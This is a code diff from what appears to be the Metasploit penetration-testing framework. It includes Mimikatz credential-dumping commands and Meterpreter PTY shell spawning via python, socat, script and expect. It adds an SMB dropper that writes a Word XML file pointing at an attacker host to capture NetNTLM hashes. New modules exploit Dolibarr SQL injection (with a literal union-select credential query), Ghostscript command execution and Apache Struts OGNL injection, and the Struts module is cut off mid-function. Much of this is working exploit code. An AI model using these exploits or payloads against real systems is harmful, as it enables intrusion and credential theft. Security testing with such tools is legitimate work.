'msv' => 'Attempt to retrieve msv creds (hashes).',
'livessp' => 'Attempt to retrieve livessp creds.',
'ssp' => 'Attempt to retrieve ssp creds.',
'tspkg' => 'Attempt to retrieve tspkg creds.',
'kerberos' => 'Attempt to retrieve kerberos creds.'
}
end
@@command_opts = Rex::Parser::Arguments.new(
"-f" => [true, "The function to pass to the command."],
"-a" => [true, "The arguments to pass to the command."],
"-h" => [false, "Help menu."]
'-f' => [true, 'The function to pass to the command.'],
'-a' => [true, 'The arguments to pass to the command.'],
'-h' => [false, 'Help menu.']
)
def cmd_mimikatz_command(*args)
if (args.length == 0)
args.unshift("-h")
args.unshift('-h')
end
cmd_args = nil
@ -64,30 +78,30 @@ class Console::CommandDispatcher::Mimikatz
@@command_opts.parse(args) { |opt, idx, val|
case opt
when "-a"
when '-a'
cmd_args = val
when "-f"
when '-f'
cmd_func = val
when "-h"
print(
"Usage: mimikatz_command -f func -a args\n\n" +
"Executes a mimikatz command on the remote machine.\n" +
"e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" +
@@command_opts.usage)
when '-h'
print_line('Usage: mimikatz_command -f func -a args')
print_line
print_line('Executes a mimikatz command on the remote machine.')
print_line('e.g. mimikatz_command -f sekurlsa::wdigest -a full')
print_line(@@command_opts.usage)
return true
end
}
unless cmd_func
print_error("You must specify a function with -f")
print_error('You must specify a function with -f')
return true
end
if cmd_args
arguments = cmd_args.split(" ")
arguments = cmd_args.split(' ')
end
print_line client.mimikatz.send_custom_command(cmd_func, arguments)
print_line(client.mimikatz.send_custom_command(cmd_func, arguments))
end
def mimikatz_request(provider, method)
@ -96,17 +110,14 @@ class Console::CommandDispatcher::Mimikatz
accounts = method.call
table = Rex::Text::Table.new(
'Header' => "#{provider} credentials",
'Indent' => 0,
'Header' => "#{provider} credentials",
'Indent' => 0,
'SortIndex' => 4,
'Columns' =>
[
'AuthID', 'Package', 'Domain', 'User', 'Password'
]
'Columns' => ['AuthID', 'Package', 'Domain', 'User', 'Password']
)
accounts.each do |acc|
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || "").gsub("\n","")]
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || '').gsub("\n", '')]
end
print_line table.to_s
@ -116,63 +127,49 @@ class Console::CommandDispatcher::Mimikatz
def cmd_wdigest(*args)
method = Proc.new { client.mimikatz.wdigest }
mimikatz_request("wdigest", method)
mimikatz_request('wdigest', method)
end
def cmd_msv(*args)
method = Proc.new { client.mimikatz.msv }
mimikatz_request("msv", method)
mimikatz_request('msv', method)
end
def cmd_livessp(*args)
method = Proc.new { client.mimikatz.livessp }
mimikatz_request("livessp", method)
mimikatz_request('livessp', method)
end
def cmd_ssp(*args)
method = Proc.new { client.mimikatz.ssp }
mimikatz_request("ssp", method)
mimikatz_request('ssp', method)
end
def cmd_tspkg(*args)
method = Proc.new { client.mimikatz.tspkg }
mimikatz_request("tspkg", method)
mimikatz_request('tspkg', method)
end
def cmd_kerberos(*args)
method = Proc.new { client.mimikatz.kerberos }
mimikatz_request("kerberos", method)
mimikatz_request('kerberos', method)
end
def get_privs
unless system_check
print_status("Attempting to getprivs")
privs = client.sys.config.getprivs
unless privs.include? "SeDebugPrivilege"
print_warning("Did not get SeDebugPrivilege")
else
print_good("Got SeDebugPrivilege")
end
if client.sys.config.is_system?
print_good('Running as SYSTEM')
else
print_good("Running as SYSTEM")
print_warning('Not currently running as SYSTEM')
print_status('Attempting to getprivs ...')
privs = client.sys.config.getprivs
if privs.include?('SeDebugPrivilege')
print_good('Got SeDebugPrivilege.')
else
print_warning('Unable to get SeDebugPrivilege.')
end
end
end
def system_check
unless client.sys.config.is_system?
print_warning("Not currently running as SYSTEM")
return false
end
return true
end
#
# Name for this dispatcher
#
def name
"Mimikatz"
end
end
end

View File

@ -22,7 +22,7 @@ class Console::CommandDispatcher::Stdapi::Sys
#
@@execute_opts = Rex::Parser::Arguments.new(
"-a" => [ true, "The arguments to pass to the command." ],
"-c" => [ false, "Channelized I/O (required for interaction)." ],
"-c" => [ false, "Channelized I/O (required for interaction)." ], # -i sets -c
"-f" => [ true, "The executable command to run." ],
"-h" => [ false, "Help menu." ],
"-H" => [ false, "Create the process hidden from view." ],
@ -33,6 +33,14 @@ class Console::CommandDispatcher::Stdapi::Sys
"-k" => [ false, "Execute process on the meterpreters current desktop" ],
"-s" => [ true, "Execute process in a given session as the session user" ])
#
# Options used by the 'shell' command.
#
@@shell_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-l" => [ false, "List available shells (/etc/shells)." ],
"-t" => [ true, "Spawn a PTY shell (/bin/bash if no argument given)." ]) # ssh(1) -t
#
# Options used by the 'reboot' command.
#
@ -249,37 +257,149 @@ class Console::CommandDispatcher::Stdapi::Sys
[]
end
def cmd_shell_help
print_line 'Usage: shell [options]'
print_line
print_line 'Opens an interactive native shell.'
print_line @@shell_opts.usage
end
def cmd_shell_tabs(str, words)
return @@shell_opts.fmt.keys if words.length == 1
[]
end
#
# Drop into a system shell as specified by %COMSPEC% or
# as appropriate for the host.
#
def cmd_shell(*args)
use_pty = false
sh_path = '/bin/bash'
@@shell_opts.parse(args) do |opt, idx, val|
case opt
when '-h'
cmd_shell_help
return true
when '-l'
return false unless client.fs.file.exist?('/etc/shells')
begin
client.fs.file.open('/etc/shells') do |f|
print(f.read) until f.eof
end
rescue
return false
end
return true
when '-t'
use_pty = true
# XXX: No other options must follow
sh_path = val if val
end
end
case client.platform
when 'windows'
path = client.fs.file.expand_path("%COMSPEC%")
path = (path and not path.empty?) ? path : "cmd.exe"
path = client.fs.file.expand_path('%COMSPEC%')
path = (path && !path.empty?) ? path : 'cmd.exe'
# attempt the shell with thread impersonation
begin
cmd_execute("-f", path, "-c", "-H", "-i", "-t")
cmd_execute('-f', path, '-c', '-i', '-H', '-t')
rescue
# if this fails, then we attempt without impersonation
print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
cmd_execute("-f", path, "-c", "-H", "-i")
print_error('Failed to spawn shell with thread impersonation. Retrying without it.')
cmd_execute('-f', path, '-c', '-i', '-H')
end
when 'linux', 'osx'
if use_pty && pty_shell(sh_path)
return true
end
# Don't expand_path() this because it's literal anyway
path = "/bin/sh"
cmd_execute("-f", path, "-c", "-i")
cmd_execute('-f', '/bin/sh', '-c', '-i')
else
# Then this is a multi-platform meterpreter (php or java), which
# Then this is a multi-platform meterpreter (e.g., php or java), which
# must special-case COMSPEC to return the system-specific shell.
path = client.fs.file.expand_path("%COMSPEC%")
path = client.fs.file.expand_path('%COMSPEC%')
# If that failed for whatever reason, guess it's unix
path = (path and not path.empty?) ? path : "/bin/sh"
cmd_execute("-f", path, "-c", "-i")
path = (path && !path.empty?) ? path : '/bin/sh'
if use_pty && path == '/bin/sh' && pty_shell(sh_path)
return true
end
cmd_execute('-f', comspec, '-c', '-i')
end
end
#
# Spawn a PTY shell
#
def pty_shell(sh_path)
sh_path = client.fs.file.exist?(sh_path) ? sh_path : '/bin/sh'
# Python Meterpreter calls pty.openpty() - No need for other methods
if client.arch == 'python'
cmd_execute('-f', sh_path, '-c', '-i')
return true
end
# Check for the following in /usr{,/local}/bin:
# script
# python{,2,3}
# socat
# expect
paths = %w[
/usr/bin/script
/usr/bin/python
/usr/local/bin/python
/usr/bin/python2
/usr/local/bin/python2
/usr/bin/python3
/usr/local/bin/python3
/usr/bin/socat
/usr/local/bin/socat
/usr/bin/expect
/usr/local/bin/expect
]
# Select method for spawning PTY Shell based on availability on the target.
path = paths.find { |p| client.fs.file.exist?(p) }
return false unless path
# Commands for methods
cmd =
case path
when /script/
if client.platform == 'linux'
"#{path} -qc #{sh_path} /dev/null"
else
# script(1) invocation for BSD, OS X, etc.
"#{path} -q /dev/null #{sh_path}"
end
when /python/
"#{path} -c 'import pty; pty.spawn(\"#{sh_path}\")'"
when /socat/
# sigint isn't passed through yet
"#{path} - exec:#{sh_path},pty,sane,setsid,sigint,stderr"
when /expect/
"#{path} -c 'spawn #{sh_path}; interact'"
end
# "env TERM=xterm" provides colors, "clear" command, etc. as available on the target.
cmd.prepend('env TERM=xterm HISTFILE= ')
print_status(cmd)
cmd_execute('-f', cmd, '-c', '-i')
true
end
#
# Gets the process identifier that meterpreter is running in on the remote

View File

@ -131,8 +131,8 @@ module DispatcherShell
#
# Wraps shell.update_prompt
#
def update_prompt(prompt=nil, prompt_char = nil, mode = false)
shell.update_prompt(prompt, prompt_char, mode)
def update_prompt(*args)
shell.update_prompt(*args)
end
def cmd_help_help

View File

@ -45,9 +45,9 @@ module Shell
self.stop_count = 0
# Initialize the prompt
self.init_prompt = prompt
self.cont_prompt = ' > '
self.cont_flag = false
self.prompt = prompt
self.prompt_char = prompt_char
self.histfile = histfile
@ -67,7 +67,6 @@ module Shell
self.hist_last_saved = Readline::HISTORY.length
end
self.input.output = self.output
update_prompt(input.prompt)
end
end
@ -88,7 +87,6 @@ module Shell
self.input.output = self.output
end
update_prompt('')
end
#
@ -131,62 +129,7 @@ module Shell
break if self.stop_flag || self.stop_count > 1
init_tab_complete
if framework
if input.prompt.include?("%T")
t = Time.now
# This %T is the strftime shorthand for %H:%M:%S
format = framework.datastore['PromptTimeFormat'] || "%T"
t = t.strftime(format)
# This %T is the marker in the prompt where we need to place the time
input.prompt.gsub!(/%T/, t.to_s)
end
if input.prompt.include?("%H")
hostname = ENV['HOSTNAME']
if hostname.nil?
hostname = `hostname`.split('.')[0]
end
# check if hostname is still nil
if hostname.nil?
hostname = ENV['COMPUTERNAME']
end
if hostname.nil?
hostname = 'unknown'
end
input.prompt.gsub!(/%H/, hostname.chomp)
end
if input.prompt.include?("%U")
user = ENV['USER']
if user.nil?
user = `whoami`
end
# check if username is still nil
if user.nil?
user = ENV['USERNAME']
end
if user.nil?
user = 'unknown'
end
input.prompt.gsub!(/%U/, user.chomp)
end
input.prompt.gsub!(/%S/, framework.sessions.length.to_s)
input.prompt.gsub!(/%J/, framework.jobs.length.to_s)
input.prompt.gsub!(/%L/, Rex::Socket.source_address("50.50.50.50"))
input.prompt.gsub!(/%D/, ::Dir.getwd)
if framework.db.active
input.prompt.gsub!(/%W/, framework.db.workspace.name)
end
self.init_prompt = input.prompt
end
update_prompt
line = get_input_line
@ -242,26 +185,17 @@ module Shell
#
# prompt - the actual prompt
# new_prompt_char the char to append to the prompt
# mode - append or not to append - false = append true = make a new prompt
def update_prompt(prompt = nil, new_prompt_char = nil, mode = false)
def update_prompt(new_prompt = self.prompt, new_prompt_char = self.prompt_char)
if (self.input)
if prompt
new_prompt = self.init_prompt + ' ' + prompt + prompt_char + ' '
else
new_prompt = self.prompt || ''
end
if mode
new_prompt = prompt + (new_prompt_char || prompt_char) + ' '
end
p = new_prompt + ' ' + new_prompt_char + ' '
# Save the prompt before any substitutions
self.prompt = new_prompt
self.prompt_char = new_prompt_char
# Set the actual prompt to the saved prompt with any substitutions
# or updates from our output driver, be they color or whatever
self.input.prompt = self.output.update_prompt(new_prompt)
self.prompt_char = new_prompt_char if (new_prompt_char)
self.input.prompt = self.output.update_prompt(format_prompt(p))
end
end
@ -345,6 +279,7 @@ module Shell
#
attr_reader :output
attr_reader :prompt, :prompt_char
attr_accessor :on_command_proc
attr_accessor :on_print_proc
attr_accessor :framework
@ -434,17 +369,55 @@ protected
#
def prompt_yesno(query)
p = "#{query} [y/N]"
old_p = [self.prompt.sub(/#{Regexp.escape(self.prompt_char)} $/, ''), self.prompt_char]
update_prompt p, ' ', true
old_p = [self.prompt, self.prompt_char]
update_prompt p, ' '
/^y/i === get_input_line
ensure
update_prompt *old_p, true
update_prompt *old_p
end
#
# Handle prompt substitutions
#
def format_prompt(str)
if framework
if str.include?("%T")
t = Time.now
# This %T is the strftime shorthand for %H:%M:%S
format = framework.datastore['PromptTimeFormat'] || "%T"
t = t.strftime(format)
# This %T is the marker in the prompt where we need to place the time
str.gsub!(/%T/, t.to_s)
end
if str.include?("%H")
hostname = ENV['HOSTNAME'] || `hostname`.split('.')[0] ||
ENV['COMPUTERNAME'] || 'unknown'
str.gsub!(/%H/, hostname.chomp)
end
if str.include?("%U")
user = ENV['USER'] || `whoami` || ENV['USERNAME'] || 'unknown'
str.gsub!(/%U/, user.chomp)
end
str.gsub!(/%S/, framework.sessions.length.to_s)
str.gsub!(/%J/, framework.jobs.length.to_s)
str.gsub!(/%L/, Rex::Socket.source_address("50.50.50.50"))
str.gsub!(/%D/, ::Dir.getwd)
if framework.db.active
str.gsub!(/%W/, framework.db.workspace.name)
end
end
str
end
attr_writer :input, :output # :nodoc:
attr_accessor :stop_flag, :init_prompt, :cont_prompt # :nodoc:
attr_accessor :prompt # :nodoc:
attr_accessor :prompt_char, :tab_complete_proc # :nodoc:
attr_writer :prompt, :prompt_char # :nodoc:
attr_accessor :stop_flag, :cont_prompt # :nodoc:
attr_accessor :tab_complete_proc # :nodoc:
attr_accessor :histfile # :nodoc:
attr_accessor :hist_last_saved # the number of history lines when last saved/loaded
attr_accessor :log_source, :stop_count # :nodoc:

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.3.45'
spec.add_runtime_dependency 'metasploit-payloads', '1.3.47'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.4.1'
# Needed by msfgui and other rpc components

View File

@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
'Name' => 'Windows SMB Multi Dropper',
'Description' => %q{
This module dependent on the given filename extension creates either
a .lnk, .scf, .url, desktop.ini file which includes a reference
a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference
to the the specified remote host, causing SMB connections to be initiated
from any user that views the file.
},
@ -21,20 +21,22 @@ class MetasploitModule < Msf::Auxiliary
'Author' =>
[
'Richard Davy - secureyourit.co.uk', #Module written by Richard Davy
'Lnk Creation Code by Mubix' #Lnk Creation Code written by Mubix
'Lnk Creation Code by Mubix', #Lnk Creation Code written by Mubix
'asoto-r7' #Word XML creation code
],
'Platform' => [ 'win' ],
'References' =>
[
['URL', 'https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018'],
['URL', 'https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/']
['URL', 'https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/'],
['URL', 'https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/'],
]
))
register_options(
[
OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, desktop.ini", "word.lnk"]),
OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, *.xml, desktop.ini", "word.lnk"]),
])
end
@ -47,6 +49,10 @@ class MetasploitModule < Msf::Auxiliary
create_desktopini
elsif datastore['FILENAME'].chars.last(3).join=="url"
create_url
elsif datastore['FILENAME'].chars.last(3).join=="xml"
create_xml
else
fail_with(Failure::BadConfig,"Invalid FILENAME option")
end
end
@ -137,4 +143,16 @@ class MetasploitModule < Msf::Auxiliary
file_create(url)
end
def create_xml
xml=""
xml << "<?xml version='1.0' encoding='utf-8' ?>"
xml << "<?mso-application progid='Word.Document'?>"
xml << "<?xml-stylesheet type='text/xsl' href='file://#{datastore['LHOST']}/share/word.xsl'?>"
xml << "<Text>"
xml << " FATAL ERROR: The document failed to render properly."
xml << "</Text>"
file_create(xml)
end
end

View File

@ -129,7 +129,7 @@ class MetasploitModule < Msf::Auxiliary
results.each do |result|
if datastore['STORE']
stored_path = store_loot('windows.gpp.xml', 'text/plain', ip, xml_file[:xml], file_type, xml_file[:path])
stored_path = store_loot('microsoft.windows.gpp', 'text/xml', ip, xml_file[:xml], file_type, xml_file[:path])
print_good("XML file saved to: #{stored_path}")
end

View File

@ -3,12 +3,8 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# XXX: This shouldn't be necessary but is now
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SSH
include Msf::Exploit::Remote::Fortinet
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Auxiliary::Report

View File

@ -3,13 +3,10 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::CommandShell
include Msf::Exploit::Remote::SSH
def initialize(info = {})
super(update_info(info,
@ -121,7 +118,7 @@ class MetasploitModule < Msf::Auxiliary
}
# The auth method is converted into a class name for instantiation,
# so malformed-packet here becomes MalformedPacket defined below
# so malformed-packet here becomes MalformedPacket from the mixin
case technique
when :malformed_packet
opts.merge!(:auth_methods => ['malformed-packet'])
@ -258,49 +255,3 @@ class MetasploitModule < Msf::Auxiliary
users.each { |user| show_result(attempt_user(user, ip), user, ip) }
end
end
#
# Define malformed-packet auth method for Net::SSH.start
#
# XXX: This is ghetto af (see lib/msf/core/exploit/fortinet.rb)
#
# https://tools.ietf.org/rfc/rfc4252.txt
# https://tools.ietf.org/rfc/rfc4253.txt
#
class Net::SSH::Authentication::Methods::MalformedPacket < Net::SSH::Authentication::Methods::Abstract
def authenticate(service_name, username, password = nil)
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (publickey)' }
# Corrupt everything after auth method
send_message(userauth_request(
=begin
string user name in ISO-10646 UTF-8 encoding [RFC3629]
string service name in US-ASCII
string "publickey"
boolean FALSE
string public key algorithm name
string public key blob
=end
username,
service_name,
'publickey',
Rex::Text.rand_text_english(8..42)
))
# SSH_MSG_DISCONNECT is queued
begin
message = session.next_message
rescue Net::SSH::Disconnect
debug { 'Received SSH_MSG_DISCONNECT' }
return true
end
if message && message.type == USERAUTH_FAILURE
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
return false
end
# We'll probably never hit this
false
end
end

View File

@ -39,7 +39,6 @@ class MetasploitModule < Msf::Auxiliary
end
def run
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end

View File

@ -70,7 +70,6 @@ class MetasploitModule < Msf::Auxiliary
@myautopwn = true
end
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end

View File

@ -51,7 +51,6 @@ class MetasploitModule < Msf::Auxiliary
@myport = datastore['SRVPORT']
@realm = datastore['REALM']
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit
end

View File

@ -37,7 +37,6 @@ class MetasploitModule < Msf::Auxiliary
@client_cache = {}
# Starts Web Server
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit
end

View File

@ -39,7 +39,6 @@ class MetasploitModule < Msf::Auxiliary
end
def run
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end

View File

@ -77,8 +77,6 @@ class MetasploitModule < Msf::Auxiliary
@previous_lm_hash="none"
@previous_ntlm_hash="none"
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end

View File

@ -45,7 +45,6 @@ class MetasploitModule < Msf::Auxiliary
return
end
@version = datastore['SRVVERSION']
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end

View File

@ -42,7 +42,6 @@ class MetasploitModule < Msf::Auxiliary
def run
@myhost = datastore['SRVHOST']
@myport = datastore['SRVPORT']
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end

View File

@ -35,7 +35,6 @@ class MetasploitModule < Msf::Auxiliary
end
def run
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end

View File

@ -40,7 +40,6 @@ class MetasploitModule < Msf::Auxiliary
end
def run
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end

View File

@ -42,7 +42,6 @@ class MetasploitModule < Msf::Auxiliary
end
def run
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end

View File

@ -41,7 +41,6 @@ class MetasploitModule < Msf::Auxiliary
print_error("CHALLENGE syntax must match 00112233445566778899AABBCCDDEEFF")
return
end
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
exploit()
end

View File

@ -0,0 +1,115 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Dolibarr List Creds',
'Description' => %q{
This module enables an authenticated user to collect the usernames and encrypted passwords of other users in the Dolibarr ERP/CRM via SQL injection.
},
'Author' => [
'Issam Rabhi', # PoC
'Kevin Locati', # PoC
'Shelby Pace', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2018-10094' ],
[ 'EDB', '44805']
],
'DisclosureDate' => "May 30 2018"
))
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to Dolibarr', '/' ]),
OptString.new('USERNAME', [ true, 'The username for authenticating to Dolibarr', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for authenticating to Dolibarr', 'admin' ])
])
end
def check_availability
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(login_page)
)
return false unless res && res.body.include?('Dolibarr')
return res
end
def login(response)
return false unless response
login_uri = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
cookies = response.get_cookies
print_status("Logging in...")
login_res = send_request_cgi(
'method' => 'POST',
'uri' => login_uri,
'cookie' => cookies,
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'loginfunction' => 'loginfunction'
}
)
unless login_res && login_res.body.include?('id="mainmenua_members"')
fail_with(Failure::NoAccess, "Couldn't log into Dolibarr")
end
print_good("Successfully logged into Dolibarr")
return cookies
end
def get_info(cookies)
inject_uri = target_uri.path.end_with?('index.php') ? target_uri.path.gsub('index.php', '') : target_uri.path
inject_uri <<= "/adherents/list.php?leftmenu=members&statut="
cmd = "1) union select 0,1,login,pass_crypted,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from llx_user #"
cmd = Rex::Text.uri_encode(cmd, 'hex-all')
inject_uri <<= cmd
inject_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(inject_uri),
'cookie' => cookies
)
unless inject_res && inject_res.body.include?('id="searchFormList"')
fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.")
end
print_good("Accessed credentials")
format_results(inject_res.body)
end
def format_results(output)
credentials = output.scan(/valignmiddle">0<\/div><\/a><\/td>.<td>([a-zA-Z0-9]*)<\/td>.<td>(\S*)<\/td>/m)
fail_with(Failure::NotFound, "No credentials found") if credentials.empty?
credentials.each do |i, j|
print_good("#{j} #{i}")
store_valid_credential(user: j, private: i)
end
end
def run
available_res = check_availability
fail_with(Failure::NotFound, "Could not access the Dolibarr webpage") unless available_res
cookies = login(available_res)
fail_with(Failure::NoAccess, "Could not log in. Verify credentials") unless cookies
get_info(cookies)
end
end

View File

@ -0,0 +1,118 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
PLACEHOLDER_STRING = 'metasploit'
PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Ghostscript Failed Restore Command Execution',
'Description' => %q{
This module exploits a -dSAFER bypass in Ghostscript to execute
arbitrary commands by handling a failed restore (grestore) in
PostScript to disable LockSafetyParams and avoid invalidaccess.
This vulnerability is reachable via libraries such as ImageMagick,
and this module provides the latest vector for Ghostscript.
For previous Ghostscript vectors, please see the following modules:
exploit/unix/fileformat/ghostscript_type_confusion
exploit/unix/fileformat/imagemagick_delegate
},
'Author' => [
'Tavis Ormandy', # Vuln discovery and exploit
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-16509'],
['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
],
'DisclosureDate' => 'Aug 21 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_memory
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0
))
register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
def exploit
sploit = template
# Replace our placeholder string with a random one
sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))
# Replace our test payload with the real one
case target['Type']
when :unix_memory
sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
when :psh_memory
psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)
# XXX: Payload space applies to the payload, not the PSH command
if psh.length > targets[0].payload_space
fail_with(Failure::BadConfig, 'Please choose a smaller payload')
end
sploit.sub!(PLACEHOLDER_COMMAND, psh)
when :linux_dropper
cmdstager = generate_cmdstager(
linemax: targets[0].payload_space,
temp: datastore['WritableDir']
).join(';')
# XXX: Payload space applies to the payload, not the command stager
if cmdstager.length > targets[0].payload_space
fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
end
sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
end
file_create(sploit)
end
def template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
))
end
end

View File

@ -0,0 +1,390 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache Struts
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-11776'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
],
'Privileged' => false,
'Targets' => [
[
'Automatic detection', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Windows', {
'Platform' => %w{ windows },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Linux', {
'Platform' => %w{ unix linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
},
],
],
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
]
)
end
def check
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
ognl = "#_memberAccess['allowStaticMethodAccess']"
resp = send_struts_request(ognl)
# If vulnerable, the server should return an HTTP 302 (Redirect)
# and the 'Location' header should contain either 'true' or 'false'
if resp && resp.headers['Location']
output = resp.headers['Location']
vprint_status("Redirected to: #{output}")
if (output.include? '/true/')
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
elsif (output.include? '/false/')
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
